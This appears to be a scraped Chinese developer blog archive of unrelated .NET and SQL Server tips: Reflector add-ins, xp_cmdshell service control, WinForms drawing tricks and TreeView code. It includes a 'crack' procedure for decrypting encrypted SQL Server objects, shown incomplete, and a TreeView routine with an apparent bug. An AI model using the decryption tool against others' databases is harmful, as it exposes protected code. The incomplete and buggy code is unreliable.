The Delphi view that is used inside .NET Reflector provided as a language add-in.

Website Download



--------------------------------------------------------------------------------

Reflector.McppLanguage
This add-in extends Reflector with a Managed C++ language rendering module.

Website Download



--------------------------------------------------------------------------------

Reflector.ChromeLanguage
This add-in extends Reflector with a Chrome language rendering module.

Website Download



--------------------------------------------------------------------------------

Reflector.Diff
This add-in shows differences between two versions of the same assembly.

Website Download


--------------------------------------------------------------------------------

Reflector.VisualStudio
This program is hosting .NET Reflector inside the Visual Studio 2003 IDE. Run Reflector.VisualStudio.exe to register the add-in with Visual Studio.

Website Download


--------------------------------------------------------------------------------

Reflector.ClassView
Shows class definitions as plain text with color coding. The menu item is registered under the "Tools" menu.

Website Download



--------------------------------------------------------------------------------

Reflector.CodeModelView
This add-in shows the underlying code model objects for a selected node in .NET Reflector. The menu item is registered under the "Tools" menu.

Website Download


--------------------------------------------------------------------------------

Reflector.FileGenerator
This add-in can be used to dump the disassembler output to files for any Reflector supported language.

Download


--------------------------------------------------------------------------------

Reflector.Graph
This add-in draws assembly dependency graphs and IL graphs. It also supports method ranking and type ranking.

Website



--------------------------------------------------------------------------------

Reflector.OpenRunningAssembly
Opens an assembly or dependency from a process running on the system. The menu item is registered under the "Tools" menu.

Website Download


--------------------------------------------------------------------------------

Reflector.MbUnit
This add-in allows loading and executing MbUnit unit test fixtures in Reflector. The source code is provided online.

Website


--------------------------------------------------------------------------------
Disclaimer: The content of this website is provided "AS IS" with no warranties, and confers no rights.

SQL Agent服务

1.在查询分析器理启动或停止SQL Agent服务
启动
use master
go
xp_cmdshell 'net start SQLSERVERAGENT'
停止
use master
go
xp_cmdshell 'net stop SQLSERVERAGENT'
将服务的启动从手工方式改为自动启动方式
exec xp_cmdshell 'scm -Action 7 -Service mssqlserver -SvcStartType 2'

直接用命令行执行引号内的内容也可以。


2、启动不正常原因和处理
表面上看sql server agent 服务启动正常,但在查看作业的属性与作业历史记录时都出现如下错误:
错误14258:当SQLServerAgent正在启动时,无法执行此操作。请稍后再试。


可能原因:
  选择了"使用 Windows NT 纤程",具体原因不明。
   解决方法:
    企业管理器--右键SQL实例--属性--处理器--取消选择"使用 Windows NT 纤程"
    然后重新启动sql服务


  修改了系统密码
   解决方法:
   a. 我的电脑--控制面板--管理工具--服务--右键 MSSQLSERVER--属性--登陆--登陆身份--选择"本地系统帐户"
    或:
   b.我的电脑--控制面板--管理工具--服务--右键 MSSQLSERVER--属性--登陆--登陆身份--选择"此帐户"--选择 administrator ,密码和确认密码中输入你的administrator密码.


   两者的区别:
选择第一种方式,以后修改了administrator密码,不用再调整(但要求登陆操作系统的是系统管理员)


数据库非法DOWN机出现故障。
   解决方法:
     用安装光盘重新安装,然后选择‘高级选项’—‘重建注册表’,然后一路下去……(这个没有试过)
 



在自己的程序中拥有OFFICEXP风格的菜单,相信是不少软件作者的愿望,但如何来实现它呢?在下在一款软件制作过程中参考了网友的代码,对其中的一些地方做了修改,并修正了其中的一些bug,现在把它贴出来,希望能给那些尚在迷茫之中的作者们指点一下迷津。
一、 开始
所谓XP风格的菜单,就是在菜单的左侧有一个浅灰色的竖条,里面放置了对菜单条进行形象化显示的图标,以前大家在VB6中也做过带图标的菜单,但那要用到API,很是繁锁,但在VB.NET中,这一切都变得非常容易,我们需要用到菜单的drawitem事件和measureitem事件,下面我们开始一步一步来实现它。当然我不会说得非常详细,但只要你有VB.NET基础,看懂是应该没有问题的。
二、 具体步骤
1、 新建一个工程,名字可以任意取
2、 在form1窗体设计视图中,从工具栏中拖出一个mainmenu控件,其name属性为file并分别在其下建立三个子菜单,name属性分别定为
name属性         text属性       ownerdraw属性
file_open         open,open         true
file_save          save,save         true
file_exit           exit,exit          true
     说明:
1) text属性为用逗号分隔的两个部分,前一部分为当程序运行时显示的菜单项,后一部分为在资源文件中存放的图标文件名,之所以要用这种格式,是因为在后面我们要用字符串操作函数split将这两部分开。
2) 注意要将所有子菜单的ownerdraw属性设为true,否则我们将不能对菜单项进行重画。主菜单项不要设。
3、 在窗体上再添加一个命令按钮button1(我们要用它的单击事件来建立一个资源文件),在button1的click事件中添加如下代码:
‘定义资源文件
Dim rw As New Resources.ResourceWriter("d:\yushui\小程序\LAN messenger\icons.resources")
        Dim iconopen As Icon = New Icon("d:\yushui\小程序\iconmenusample\resource\open.ico")
        Dim iconsave As Icon = New Icon("d:\yushui\小程序\iconmenusample\resource\save.ico")
        Dim iconclose As Icon = New Icon("d:\yushui\小程序\iconmenusample\resource\exit.ico")
        rw.AddResource("iconopen", iconopen)  ‘将图标放到资源文件中,下同
        rw.AddResource("iconsave", iconsave)
        rw.AddResource("iconclose", iconclose)
     rw.Close()
如果出现编译错误,那是因为你没有在代码窗口的顶部加上对命名空间的引用
Imports System
Imports System.DirectoryServices
Imports System.Runtime.InteropServices
Imports System.Drawing
Imports System.Data
Imports System.Windows.Forms
我将所有需要的命名空间引用都在这里写上了,省得以后还要写:)
4、 定义菜单的measureitem事件
在这里我们会对菜单进行计算,定义其高度和宽度
‘定义菜单的measureitem事件,把它应用于三个子菜单项中
Private Sub MenuItem_MeasureItem(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MeasureItemEventArgs) Handles _
file_open.MeasureItem, file_save.MeasureItem,file_exit.MeasureItem
    Dim thismenuitem As MenuItem = sender
        Dim thismenuitem_strings As String() = thismenuitem.Text.Split(",")
       ‘设置菜单的宽度
        Dim textsize As SizeF = e.Graphics.MeasureString _
        (thismenuitem_strings(0).Replace("&", ""), SystemInformation.MenuFont)
        e.ItemWidth = textsize.Width + 30
        If thismenuitem.Text = "-" Then 
           ‘如果菜单项为分隔符,则其高度为3象素
            e.ItemHeight = 3
        Else
‘普通菜单项的高度为22象素
            e.ItemHeight = 22
        End If
    End Sub
5、 定义菜单的drawitem事件
drawitem事件是对菜单项进行重画,包括对选中项的高亮显示,图标栏的背景,图标的阴影等
    Private Sub MenuItem_DrawItem(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DrawItemEventArgs) Handles _
    file_open.DrawItem, file_save.DrawItem, file_exit.DrawItem
          On Error Resume Next
        Dim thismenuitem As MenuItem = sender
        Dim thismenuitem_brush As Brush
        Dim thismenuitem_strings As String() = thismenuitem.Text.Split(",")
        Dim thismenuitem_icon As Icon
        Dim en As IdictionaryEnumerator
     ‘读取资源文件
        Dim rr As New Resources.ResourceReader("d:\yushui\小程序\LAN Messenger\icons.resources")
         Dim thismenuitem_rect As RectangleF = New RectangleF(30, e.Bounds.Top + 5, _
        e.Bounds.Width - 30, e.Bounds.Height)
        If ((e.State And DrawItemState.Selected) = DrawItemState.Selected) And _
        ((e.State And DrawItemState.Disabled) <> DrawItemState.Disabled) Then
            '如果菜单处于被选中状态且disable属性为enable
            thismenuitem_brush = New SolidBrush(SystemColors.InactiveCaptionText)
            e.Graphics.FillRectangle(thismenuitem_brush, e.Bounds)
            thismenuitem_brush.Dispose()
            e.Graphics.DrawRectangle(SystemPens.Highlight, e.Bounds.X, _
            e.Bounds.Y, e.Bounds.Width - 1, e.Bounds.Height - 1)
            'draw the icon with dropshadow
            en = rr.GetEnumerator
            While en.MoveNext
                If en.Key = thismenuitem_strings(1) Then
                    thismenuitem_icon = en.Value
                End If
            End While
            Dim img As Image = thismenuitem_icon.ToBitmap
            ControlPaint.DrawImageDisabled(e.Graphics, img, e.Bounds.Left + 4, _
            e.Bounds.Top + 4, SystemColors.InactiveCaptionText)
            e.Graphics.DrawIcon(thismenuitem_icon, e.Bounds.Left + 2, e.Bounds.Top + 2)
        Else
            'draw the background
            e.Graphics.FillRectangle(SystemBrushes.Control, e.Bounds.Left, _
            e.Bounds.Top, 22, e.Bounds.Height)
            e.Graphics.FillRectangle(SystemBrushes.Menu, _
            e.Bounds.Left + 22, e.Bounds.Top, e.Bounds.Width, e.Bounds.Height)
            'if this is a separator,draw it and bail out
            If thismenuitem.Text = "-" Then
                e.Graphics.DrawLine(SystemPens.ControlDark, 30, e.Bounds.Top + 1, _
                e.Bounds.Right, e.Bounds.Top + 1)
                Exit Sub
            End If
            'draw the icon
            en = rr.GetEnumerator
‘从资源文件中取出图标
            While en.MoveNext
                If en.Key = thismenuitem_strings(1) Then
                    thismenuitem_icon = en.Value
                End If
            End While
            If ((e.State And DrawItemState.Disabled) <> DrawItemState.Disabled) Then
                e.Graphics.DrawIcon(thismenuitem_icon, e.Bounds.Left + 3, e.Bounds.Top + 3)
            Else
                Dim img As Image = thismenuitem_icon.ToBitmap
                ControlPaint.DrawImageDisabled(e.Graphics, img, _
                e.Bounds.Left + 2, e.Bounds.Top + 2, SystemColors.InactiveCaptionText)
            End If
        End If
        'draw the text
        Dim sfmenuitem As System.Drawing.StringFormat = New StringFormat(StringFormatFlags.DisplayFormatControl)
        If (e.State And DrawItemState.Disabled) = DrawItemState.Disabled Then
            thismenuitem_brush = New SolidBrush(SystemColors.GrayText)
            e.Graphics.DrawString(thismenuitem_strings(0), SystemInformation.MenuFont, _
            thismenuitem_brush, thismenuitem_rect, sfmenuitem)
        Else
            e.Graphics.DrawString(thismenuitem_strings(0), SystemInformation.MenuFont, _
            SystemBrushes.ControlText, thismenuitem_rect, sfmenuitem)
        End If
    End Sub
至此,一个具有officeXP风格的菜单就做成了,运行一下吧,看看效果怎么样

101 Samples for Visual Studio 2005

| 1 Comment

101 Samples for Visual Studio 2005


101 Samples, in both Visual Basic and C#, featuring many of the new features available with Visual Studio 2005 and the .NET Framework 2.0. For more samples using Visual Studio 2003 .NET, see this download.

Download all 101 Samples: C# Version   |   VB Version


These samples have been written and tested with Beta 2 of Visual Studio 2005

  



Base Class Libraries







   The Base Class Library samples show how to use the classes in the namespaces System.Net, System.RegEx, System.Transaction, System.Console and more. Samples include:






  • Changing ACL (Access Control Lists) on files
  • Console Enhancements including buffer control, simple animations and colors
  • Downloading files using FTP (File Transfer Protocol)
  • Network Programming including PING, UDP, and TCP network statistics


  • Using the new Stopwatch class to measure time
  • Compressing and decompressing files in the GZip format
  • Retrieving Drive Information
  • Using Generic Collections
  • Creating Regular Expressions to parse text
Download: C# Version   |   VB Version


Data Access







   The Data Access samples show how to use the classes in the System.Data and related namespaces. In addition, how to use the new features of SQL Server 2005. Samples include:






  • Asynchronous Queries
  • Attaching a database with your application
  • Creating and using User Defined Types with SQL Server 2005
  • DataReader vs. DataSet comparision
  • DataSet and DataTable Enhancements
  • Performing Batch Updates and Data Paging
  • Performing Bulk Updates
  • Reading and Writing Images from a Database


  • Using Factory Classes
  • Using Managed Stored Procedures and User Defined Functions with SQL Server 2005
  • Using Multiple Active Result Sets with SQL Server 2005
  • Using Notifications with SQL Server 2005
  • Using the XML data type with SQL Server 2005
  • XPath and XSLT Transformations Enhancements

Download: C# Version   |   VB Version



Web Development







   The Web Development samples show how to use some of the new features of ASP.NET 2.0. Samples include:






  • Using SQLCacheDependency for caching
  • DataBinding using the ObjectDataSource, SqlDataSource, and XmlDataSource objects
  • Create a Master/Details view using the DataGridView and DetailsView controls
  • Basic Master Pages, Nested Master Pages, and Browser-specific Master Pages
  • Using the new membership controls including the LoginStatus, LoginName, LoginView, CreateUserWizard controls


  • Using the Menu and SiteMapPath controls
  • Using Profiles to store user properties
  • Using the Membership and Roles API for custom roles
  • Using the TreeView control dynamically and responding to TreeView events
  • Creating a custom portal using Web Parts

Download: C# Version   |   VB Version



Windows Forms







   The Windows Forms samples show how to use some of the new functionality available to developers building desktop applications. Samples include:






  • Running Asynchronous Tasks
  • Storing Custom Client Settings
  • Creating Master/Detail Forms
  • Playing, Looping, and asynchronously using Sounds
  • Using BindingNavigator for static and dynamic data
  • Using BindingSource for static and dynamic data including objects
  • Extending ClickOnce to programmatically check for updates
  • Customizing the DataGridView control with different column control types


  • Using LayoutPanels
  • Using the MaskedTextBox control for built-in data types and custom data types
  • Controlling a simple rich texteditor using the Menus, StatusStrips and ToolStrips controls
  • Using My for application, computer, settings information and more. Note: This sample is only available for Visual Basic
  • Using the SplitContainer control
  • WebBrowser control basics and using the WebBrowserControl HTMLDocumentModel for Form-to-browser two-way communication.

Download: C# Version   |   VB Version



Coming Soon

The remaining 51 samples are coming soon. Stay tuned.

OracleDBA讲座笔记

| 2 Comments

OracleDBA讲座笔记1--- 教师介绍



软件学院开设oracleDBA讲座,


主讲人ERIC DAVID


Instructor:




Why? That is the question that has always been foremost in my mind throughout my life. From my childhood in northern Japan, through my teenage and college years in the United States, and my graduate studies in Canada, on through the various positions I have held in my adult life, the question of why things are the way they are has consumed a great deal of my attention.

My interest in technology has always been a very large part of this questioning process. I have always been interested in how things work, and in why it matters. Radio was a particular interest during my childhood. I was interested not only in the technology of radio, but in the reasons why that technology was so useful. My radio, for example, kept me company during the lonely evening hours in the boarding school. I could escape to different places far away with my shortwave radio tuned to the Voice of America, or Radio Moscow.

Understanding. Trying to figure out how it all came together. This also has occuppied my thinking for much of my life. When I graduated from high school in 1972, I hitchhiked from Oregon to Florida, because I wanted to understand America. I found out that it was too big a task for one summer. Some things take longer.

When I went to college, I chose to major in the Social Sciences and Humanities, because I believed that people were more important than machines. They are of course, but they are also quite a bit harder to understand. During the summer, I worked at a special hospital for people with mental problems. I was troubled by the complexity of the problems which haunted them, and the limitations of technology in dealing with such problems. This experience strengthened my belief that technology only has value if it can be used to help mankind.

Knowledge. The power of technology to assist me in satisifying my hunger for knowledge has perhaps influenced my thinking about technology more than any other factor. Of course, the Internet is a very big part of this. I still have a shortwave radio, but I can listen to the BBC on my computer now. And I can't even remember the last time I used an encyclopedia. So the technology of information is perhaps the most important technology. Which brings us to the world of database. Information. In the most general terms, we are talking about information storage and information retrieval. In my younger days as a school teacher in the countryside in America, I had a steel filing cabinet to store documents. Now I keep these documents on a USB drive in my shirt pocket. And if I forget where a particular file is, I can use the Windows search utility to find it in a matter of seconds.

Wisdom. How do we implement techology in a way that makes it work for us? Technology is a good servant, but a terrible master. How do we use technology without allowing it to take over our lives? And who gets to decide which technologies are good and useful, and which ones are destructive? These questions of course, lead us to history and philosophy. So you see, technology really touches every field of study in one way or another, either as a tool to pursue the discipline, or as, itself, the subject of discussion.

I hope you will not hesitate to let me know if you have questions along the way, or if you just wish to discuss some of these issues with me. The labs in the Oracle courses are as straightforward as I can make them. Although the lectures, assignments, and tests will be in English, you will have a choice between English and Chinese in your selection of a text. And there will be bilingual lab assistants to help you with any questions you may have about the lab assignments. If you need to contact me personally, please feel free to send me an email:

eric@beihangsoft.cn

Or you can hunt me down in the Oracle lab (Room 301). I am very eager to help in any way that I can. I hope your time in this course will be very beneficial to you, and I hope that you will be quick to tell me if there is something I can do to assist you in your study of it. The Oracle database courses may indeed be some of the most important courses you will take during your career as a student at Beihang College of Software. Thanks for giving me a chance to help you. I look forward to getting to know each of you better. I sincerely appreciate your scholarship.

Cheers,

Eric Langager
Associate Professor, College of Software
Beijing University of Aeronautics and Astronautics.


本文引用通告地址: http://blog.csdn.net/thefirstwind/services/trackbacks/13662.aspx

存储过程、存储函数的加密:WITH ENCRYPTION
<!--[if !supportLineBreakNewLine]-->
<!--[endif]-->


CREATE procedure dbo.sp_XML_main


@table_name nvarchar(260)='',


@dirname nvarchar(20)=''


WITH ENCRYPTION


as


begin


....................................................


end


go
 


 


存储过程、存储函数的解密(以下是一位绝世高人编写的代码)


if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[sp_decrypt]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)


drop procedure [dbo].[sp_decrypt]


GO


 


/*--破解函数,过程,触发器,视图.仅限于SQLSERVER2000


 


--作者:J9988--*/


/*--调用示例


 


    --解密指定存储过程


    exec sp_decrypt 'AppSP_test'


 


    --对所有的存储过程解密


    declare tb cursor for


    select name from sysobjects where xtype='P' and status>0 and name<>'sp_decrypt'


   


    declare @name sysname


    open tb


    fetch next from tb into @name


    while @@fetch_status=0


    begin


        print '/*-------存储过程 ['+@name+'] -----------*/'


        exec sp_decrypt @name


        fetch next from tb into @name


    end


    close tb


    deallocate tb


--*/


 


if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[SP_DECRYPT]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)


    drop procedure [dbo].[SP_DECRYPT]


GO

treeview的使用小结

我最近做了一个程序。其中用到了treeview。在程序中,我在框架中使用了treeview。并且对treeview进行了节点的增加、删除、修改、遍历等操作。 在使用过程中,确实遇到了不少的问题。现在我把程序小结一下,希望和大家一起讨论。有什么不对的地方希望和高手们一起交流一下。也希望能对刚刚使用treeview的网友有一点帮助。
1.使用初步
(1)下载地址 http://msdn.microsoft.com/downloads/samples/internet/default.asp?url=/Downloads/samples/Internet/ASP_DOT_NET_ServerControls/WebControls/default.asp
(2)不显示树型的问题 首先:下载包分自动安装和手动安装两种包。 要下载大小约650K 的自动安装包。 其次:TreeView要求客户端浏览器版本为IE5.5及以上,最好要求客户端升级为IE6.0
(3)关于闪烁 将AutoPostBack属性设置为真,SelectedIndexChange才能被执行。不过这样的话刷新的很厉害。不要刷新的话,将AutoPostBack属性设置为FALSE.
(4)常用的几个属性和方法 ~Index 获取树节点在树节点集合中的位置。 ~Nodes 获取分配给树视图控件的树节点集合。 ~Parent 获取或设置控件的父容器。 ~SelectedNode 获取或设置当前在树视图控件中选定的树节点。 ~ExpandAll 展开所有树节点。 ~Checked 获取或设置一个值,用以指示树节点是否处于选中状态。 ~Text 获取或设置在树节点标签中显示的文本。 ~Expand 展开树节点。 ~Clear 清空树 ~Remove 从树视图控件中移除当前树节点。
(5)常用的几个操作:增加、删除、修改、剪切
@增加节点:
Dim tmpNd3 As New Microsoft.Web.UI.WebControls.TreeNode()
Dim NdSel As New Microsoft.Web.UI.WebControls.TreeNode()
'NdSel 为当前选定的节点,新节点将作为它的子节点
NdSel = Treepaybasic.GetNodeFromIndex(Treepaybasic.SelectedNodeIndex)
tmpNd3.Text = "新增节点"
'在树中添加这个新节点
NdSel.Nodes.Add(tmpNd3)
@删除节点:
Dim tmpNd3 As New Microsoft.Web.UI.WebControls.TreeNode()
Dim NdSel As New Microsoft.Web.UI.WebControls.TreeNode()
'NdSel 为当前选定的要删除节点,tmpNd3为它的父节点
NdSel = Treepaybasic.GetNodeFromIndex(Treepaybasic.SelectedNodeIndex)
If (Treepaybasic.SelectedNodeIndex <> "0")
Then tmpNd3 = NdSel.Parent tmpNd3.Nodes.Remove(NdSel)
Else Treepaybasic.Nodes.Clear() End If
@修改节点:
Dim NdSel As New Microsoft.Web.UI.WebControls.TreeNode()
NdSel = Treepaybasic.GetNodeFromIndex(Treepaybasic.SelectedNodeIndex)
NdSel.Text = "aaa"
@剪切和粘贴
剪切:
Dim tmpNd3 As New Microsoft.Web.UI.WebControls.TreeNode()
Dim NdSel As New Microsoft.Web.UI.WebControls.TreeNode()
'NdSel 为当前选定的要删除节点,tmpNd3为它的父节点
NdSel = Treepaybasic.GetNodeFromIndex(Treepaybasic.SelectedNodeIndex)
'将剪切下来的节点存入session
Session("node") = NdSel
If (Treepaybasic.SelectedNodeIndex <> "0")
Then tmpNd3 = NdSel.Parent tmpNd3.Nodes.Remove(NdSel)
End If
粘贴:
Dim tmpNd3 As New Microsoft.Web.UI.WebControls.TreeNode()
Dim NdSel As New Microsoft.Web.UI.WebControls.TreeNode()
'NdSel 为当前要粘贴节点的父节点
NdSel = Treepaybasic.GetNodeFromIndex(Treepaybasic.SelectedNodeIndex)
tmpNd3 = Session("node") NdSel.Nodes.Add(tmpNd3)
2.用递归生成树的算法和数据库设计
(1)递归说明 程序调用自身的编程方法称为递归(recursion)。在树的生成以及图的遍历中,递归用的很多。经典的算法求 n! (求n的阶乘)中,用的就是递归方法。递归算法的优点就是简洁,可扩充性好。但是缺点也很明显:低效。因为递归就是程序不断调用自身,对系统的资源消耗比较大。随着节点的增多,执行效率会变的很低。 为了解决树在生成过程中的层树不定的问题,同时也是为了让树的扩展性更好。树的生成使用了递归的方法。生成树的代码一旦写成,可以不改动源代码,生成无限级层次的树。树的结构完全由数据库中表的数据决定。
(2)数据库设计
创建一个数据库,设计树图信息表Treetable,表中属性包含Nodeid、Parentid、Nodename、Address等字段(分别用于表示节点的ID、父节点ID、节点名称、链接地址),其它属性根据实际用户需求和设计而定。节点名称Nodename将在树型控件的节点上显示,Nodeid字段保存节点的唯一标识号,Parentid表示当前节点的父节点ID号(例如有两个节点是父子关系,孩子节点的Parentid值就是其父节点的Nodeid),节点号父子相接组成了一个“链表”,表征并记录了树上节点的层次结构。 表具体设计如下:(简化模型,实际使用的要复杂一些) 主键 属性名 类型 长度 可空 属性含义 是 Nodeid int 6 否 节点ID Parentid int 6 否 父节点ID Nodename char 50 否 节点名称 Address char 80 可 链接地址 备注:链接地址 主要是用在: 树在框架中使用的环境。链接可以指向其他框架页中的地址或是带不同的参数。
(3)程序代码
――――――――――――递归函数―――――――――――― '生成树的函数
Private Sub inittree(ByRef Nds As Microsoft.Web.UI.WebControls.TreeNodeCollection, ByVal parentId As Integer)
Dim dv As New DataView()
Dim dvrow As DataRowView
Dim tmpNode As Microsoft.Web.UI.WebControls.TreeNode
'intId为数值型变量,其作用是记录并传递当前记录的ID,做为它子节点的PARENTID值
Dim intId As Integer
dv.Table = mySet.Tables("paybasic")
'parentId传递的是 additem函数中的intId.下面语句的作用是找出当前节点的子孩子集合。
dv.RowFilter = "parentID='" & parentId & "'"
'如果当前节点有孩子,则遍历所有的孩子,并调用递归函数。
For Each dvrow In dv
tmpNode = New Microsoft.Web.UI.WebControls.TreeNode()
'为当前节点的各个属性赋值。
tmpNode.ID = dvrow("nodeID")
tmpNode.Text = dvrow("nodename")
tmpNode.NavigateUrl = dvrow("Address")
intId = dvrow("parentID")
'添加一个节点
Nds.Add(tmpNode)
'调用递归函数
inittree(Nds(Nds.Count - 1).Nodes, intId)
Next
End Sub
――――――――――――――――调用递归函数―――――――――――――――――― CreateReaderDataSet() inittree(Treepaybasic.Nodes, 999)
―――――――――――――――――生成数据集―――――――――――――――――――
'生成数据集的函数
Private Sub CreateReaderDataSet()
'在运行时连接,并设置连接属性
MyConn = New System.Data.OleDb.OleDbConnection("Provider=MSDAORA.1;Data Source=oracle9;User ID=user;Password=****;")
'设置SelectCommand命令
myAdapter.SelectCommand = New System.Data.OleDb.OleDbCommand("select * from treenode", MyConn)
'填充数据集
myAdapter.Fill(mySet, "treenode")
End Sub

转贴:http://community.csdn.net/Expert/topic/4188/4188839.xml?temp=.3458216



C#WinForm制作异形窗体/控件

 

作者:袁晓辉


主页:www.farproc.com


Blogblog.csdn.net/uoyevoli


 


制作异形窗体或控件的思路一般都是想办法生成一个region,然后设置给指定的窗口或控件。生成region的方法有很多,最常用的就是从一幅图片生成,把该图片中的透明色部分“抠”掉,剩下的部分作为一个region。设置窗口或控件的region可以用SetWindowRgn API,不过.NET framework封装了这个操作,在C#中只要对窗口或控件的Region属性赋值就可以了。下面我就把我在C#中实现异形窗体的核心代码贴出来给大家看看,有什么意见尽管提,别客气哦J


 


首先,是一个根据Bitmap对象生成Region的方法:


/// <summary>


/// 取得一个图片中非透明色部分的区域。


/// </summary>


/// <param name="Picture">取其区域的图片。</param>


/// <param name="TransparentColor">透明色。</param>


/// <returns>图片中非透明色部分的区域</returns>


private Region BmpRgn(Bitmap Picture, Color TransparentColor)


{


     int nWidth = Picture.Width;


     int nHeight = Picture.Height;


     Region rgn = new Region();


     rgn.MakeEmpty();


     bool isTransRgn;//前一个点是否在透明区


     Color curColor;//当前点的颜色


     Rectangle curRect = new Rectangle();


     curRect.Height = 1;


     int x = 0, y = 0;


     //逐像素扫描这个图片,找出非透明色部分区域并合并起来。


     for(y = 0; y < nHeight; ++y)


     {


         isTransRgn = true;


         for (x = 0; x < nWidth; ++x)


         {


              curColor = Picture.GetPixel(x,y);


              if(curColor == TransparentColor || x == nWidth - 1)//如果遇到透明色或行尾


                   {


                       if(isTransRgn == false)//退出有效区


                       {


                            curRect.Width = x - curRect.X;


                            rgn.Union(curRect);


                       }


                   }


                   else//非透明色


                   {


                       if(isTransRgn == true)//进入有效区


                       {


                            curRect.X = x;


                            curRect.Y = y;


                       }


                   }//if curColor


                   isTransRgn = curColor == TransparentColor;    


              }//for x


         }//for y


         return rgn;


     }


 


原理很简单,就是对该图片逐行扫描,在每一行中把那些非透明色的矩形(只有一个像素高)合并(union)到一个Region对象中,当扫描完整个图片,得到的也就是我们想要的Region了。这种算法在很多文章里都有介绍的。


 


有了region,下面就简单了:


this.Region = BmpRgn(new Bitmap("d:\\a.bmp"), Color.FromArgb(0, 0, 0));


上面的代码就是把d:\a.bmp的轮廓作为主窗口的region的,假设该图片的背景黑色(Color.FromArgb(0, 0, 0)


其实不光是Form,任何控件都可以用这个方法设置Region,制作出异形控件。



【孟子E章】的专栏

| 2 Comments

面是完整的例子,可以通过命令行编译即可看到效果。


Test.cs


using System;
using System.Drawing;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Reflection;


namespace ColorCursor
{
 /// <summary>
 /// 本例子的作用:
 /// 在.NET中实现彩色光标,动画光标和自定义光标。
 /// </summary>
 public class Form1 : System.Windows.Forms.Form
 {
  [DllImport("user32.dll")]
  public static extern IntPtr LoadCursorFromFile( string fileName );
  
  [DllImport("user32.dll")]
  public static extern IntPtr SetCursor( IntPtr cursorHandle );
  
  [DllImport("user32.dll")]
  public static extern uint DestroyCursor( IntPtr cursorHandle );
  
  
  [STAThread]
  static void Main()
  {
  Application.Run(new Form1());
  }
  
  public Form1()
  {
  this.Text = "欢迎光临【孟宪会之精彩世界】:http://dotnet.aspx.cc/";
  Cursor myCursor = new Cursor(Cursor.Current.Handle);
  //dinosau2.ani为windows自带的光标:
  IntPtr colorCursorHandle = LoadCursorFromFile(@"C:\WINNT\Cursors\dinosau2.ani" );
  myCursor.GetType().InvokeMember("handle",BindingFlags.Public |
   BindingFlags.NonPublic | BindingFlags.Instance |
   BindingFlags.SetField,null,myCursor,
   new object [] { colorCursorHandle } );
  this.Cursor = myCursor;
  }
 }
}

C# WinForm 中在窗口标题栏上加按钮

 

作者:袁晓辉
主页:http://www.farproc.com
 BLOG:http://blog.csdn.net/uoyevoli/

    在窗口标题栏上加按钮本来不是什么新鲜事了,我在VC++下早也实现过了(相信很多人也都实现过了)。今天一个朋友问我C# WinForm下可否实现,我就顺便拿C#写了一个。
    原理是一样的,都是重写窗口过程(WndProc),处理一些非客户区消息(WM_NCxxxx),可以说本来没有什么新意,可是从写这个程序的过程中,我也学到了两个技巧:
    1)、C#中重写窗口过程不用再调用SetWindowLong API了,直接overide一个WndProc就可以了。
    2)、Windows API中的HDC可以通过Graphics.FromHdc()转换为(创建出)System.Drawing.Graphics,然后就可以用.NET Framework (GID+??)提供的绘图功能方便地进行画图了。终于可以抛开讨厌的GDI API了(说实在话,在C#中调用Windows API真的太麻烦了:)).
代码如下:

using System;


using System.Drawing;


using System.Drawing.Drawing2D;


using System.Collections;


using System.ComponentModel;


using System.Windows.Forms;


using System.Data;


using System.Runtime.InteropServices;


using System.Diagnostics;


 


namespace WindowsApplication2


{


    /// <summary>


    /// Form1 的摘要说明。


    /// </summary>


    public class Form1 : System.Windows.Forms.Form


    {


        /// <summary>


        /// 必需的设计器变量。


        /// </summary>


        private System.ComponentModel.Container components = null;


 


        public Form1()


        {


            //


            // Windows 窗体设计器支持所必需的


            //


            InitializeComponent();


            //


            // TODO: InitializeComponent 调用后添加任何构造函数代码


            //


        }


        /// <summary>


        /// 清理所有正在使用的资源。


        /// </summary>


        protected override void Dispose( bool disposing )


        {


            if( disposing )


            {


                if (components != null)


                {


                    components.Dispose();


                }


            }


            base.Dispose( disposing );


        }


        #region Windows 窗体设计器生成的代码


        /// <summary>


        /// 设计器支持所需的方法 - 不要使用代码编辑器修改


        /// 此方法的内容。


        /// </summary>


        private void InitializeComponent()


        {


            //


            // Form1


            //


            this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);


            this.ClientSize = new System.Drawing.Size(292, 266);


            this.Name = "Form1";


            this.Text = "Form1";


            this.SizeChanged += new System.EventHandler(this.Form1_SizeChanged);


        }


        #endregion


        /// <summary>


        /// 应用程序的主入口点。


        /// </summary>


        [STAThread]


        static void Main()


        {


            Application.Run(new Form1());


        }


        [DllImport ("User32.dll")]


        private static extern IntPtr GetWindowDC(IntPtr hwnd);


        [DllImport ("User32.dll")]


        private static extern int ReleaseDC(IntPtr hwnd, IntPtr hdc);


        [DllImport ("Kernel32.dll")]


        private static extern int GetLastError();


   


        //标题栏按钮的矩形区域。


        Rectangle m_rect = new Rectangle(205, 6, 20, 20);


        protected override void WndProc(ref Message m)


        {


            base.WndProc(ref m);


            switch(m.Msg)


            {


                case 0x86://WM_NCACTIVATE


                    goto case 0x85;


                case 0x85://WM_NCPAINT


                {


                    IntPtr hDC = GetWindowDC(m.HWnd);


                    //DC转换为.NETGraphics就可以很方便地使用Framework提供的绘图功能了


                    Graphics gs = Graphics.FromHdc(hDC);


                    gs.FillRectangle(new LinearGradientBrush(m_rect, Color.Pink, Color.Purple, LinearGradientMode.BackwardDiagonal), m_rect);


                    StringFormat strFmt = new StringFormat();


                    strFmt.Alignment = StringAlignment.Center;


                    strFmt.LineAlignment = StringAlignment.Center;


                    gs.DrawString("", this.Font, Brushes.BlanchedAlmond, m_rect, strFmt);


                    gs.Dispose();


                    //释放GDI资源


                    ReleaseDC(m.HWnd, hDC);


                    break;


                }


                case 0xA1://WM_NCLBUTTONDOWN


                {


                    Point mousePoint = new Point((int)m.LParam);


                    mousePoint.Offset(-this.Left, -this.Top);


                    if(m_rect.Contains(mousePoint))


                    {


                        MessageBox.Show("hello");


                    }


                    break;


                }


            }


        }


        //在窗口大小改变时及时更新按钮的区域。


        private void Form1_SizeChanged(object sender, System.EventArgs e)


        {


            m_rect.X = this.Bounds.Width - 95;


            m_rect.Y = 6;


